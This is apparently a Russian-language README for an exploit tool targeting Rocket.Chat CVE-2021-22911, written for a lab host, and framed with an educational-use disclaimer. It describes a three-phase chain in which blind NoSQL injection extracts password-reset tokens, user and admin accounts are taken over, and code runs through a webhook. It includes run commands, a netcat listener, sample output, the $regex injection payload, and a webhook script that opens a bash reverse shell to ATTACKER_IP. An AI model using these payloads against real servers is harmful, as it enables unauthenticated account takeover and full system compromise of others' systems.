Rocket.Chat CVE-2021-22911 Exploit

⚠️ DISCLAIMER - ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ

Этот эксплойт предназначен только для авторизованного тестирования на проникновение и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несет ответственности за любое неправомерное использование.

📋 Обзор

CVE-2021-22911 — это критическая уязвимость неаутентифицированной NoSQL-инъекции в Rocket.Chat, которая приводит к удаленному выполнению кода (RCE).

• Оценка CVSS: 9.8 (критическая)
• Затронутые версии: Rocket.Chat < 3.12.7
• Вектор атаки: Сеть / без аутентификации
• Воздействие: Полная компрометация системы

🎯 Детали уязвимости

Этот эксплойт объединяет три атаки NoSQL-инъекциями:

Фаза 1: Сброс пароля пользователя с низкими привилегиями

• Отправляет запрос на восстановление пароля для пользователя с низкими привилегиями
• Использует слепую NoSQL-инъекцию с оператором $regex для посимвольного извлечения токена сброса пароля
• Сбрасывает пароль на известное значение

Фаза 2: Сброс пароля администратора

• Повторяет фазу 1, но с целью получения доступа к учетной записи администратора
• Извлекает токен сброса пароля администратора с помощью слепой NoSQL-инъекции
• Изменяет пароль администратора

Фаза 3: Удаленное выполнение кода

• Выполняет аутентификацию под скомпрометированной учетной записью администратора
• Создает интеграцию webhook с JavaScript-полезной нагрузкой
• Полезная нагрузка использует Node.js child_process.exec() для запуска обратной оболочки (reverse shell)
• Вызывает webhook для выполнения обратной оболочки

🛠️ Предварительные требования

pip install requests

🚀 Использование

1. Запустите прослушиватель Netcat (Терминал 1)

nc -lvnp 4444

2. Запустите эксплойт (Терминал 2)

Ручной ввод IP:

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Автоопределение IP-адреса tun0 (рекомендуется):
python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

**Аргументы:**
- `-u`: email пользователя с низкими привилегиями (должен существовать)
- `-a`: email администратора
- `-t`: целевой URL (экземпляр Rocket.Chat)
- `-i`: ваш IP-адрес атакующего (tun0)
- `-p`: порт прослушивателя Netcat

### Пример вывода

============================================================ Rocket.Chat CVE-2021-22911 — RCE Target : http://chat.rocket.thm Shell : 10.9.0.1:4444

[PHASE 1] Low-priv user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE [!] Start your listener now: nc -lvnp 4444 [] Press Enter when nc is ready... [+] Authenticated as [email protected] userid : userid123456789 token : token123456... [+] Webhook created http://chat.rocket.thm/hooks/hookid123/token456 [] Triggering reverse shell... [+] Trigger sent — check your nc listener

## 🔍 Технические детали

### Формат полезной нагрузки NoSQL-инъекции
```json
{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

Полезная нагрузка RCE (скрипт webhook)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 Ссылки

• Оригинальный эксплойт: enox - Exploit-DB 50078, 50108
• Анализ уязвимости: блог SonarSource
• Детали CVE: CVE-2021-22911

📝 Авторы

• enox — разработка оригинального эксплойта
• SonarSource — исследование и анализ уязвимости

⚖️ Правовое уведомление

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является уголовным преступлением в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными международными законами.

Используйте ответственно. Тестируйте только те системы, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.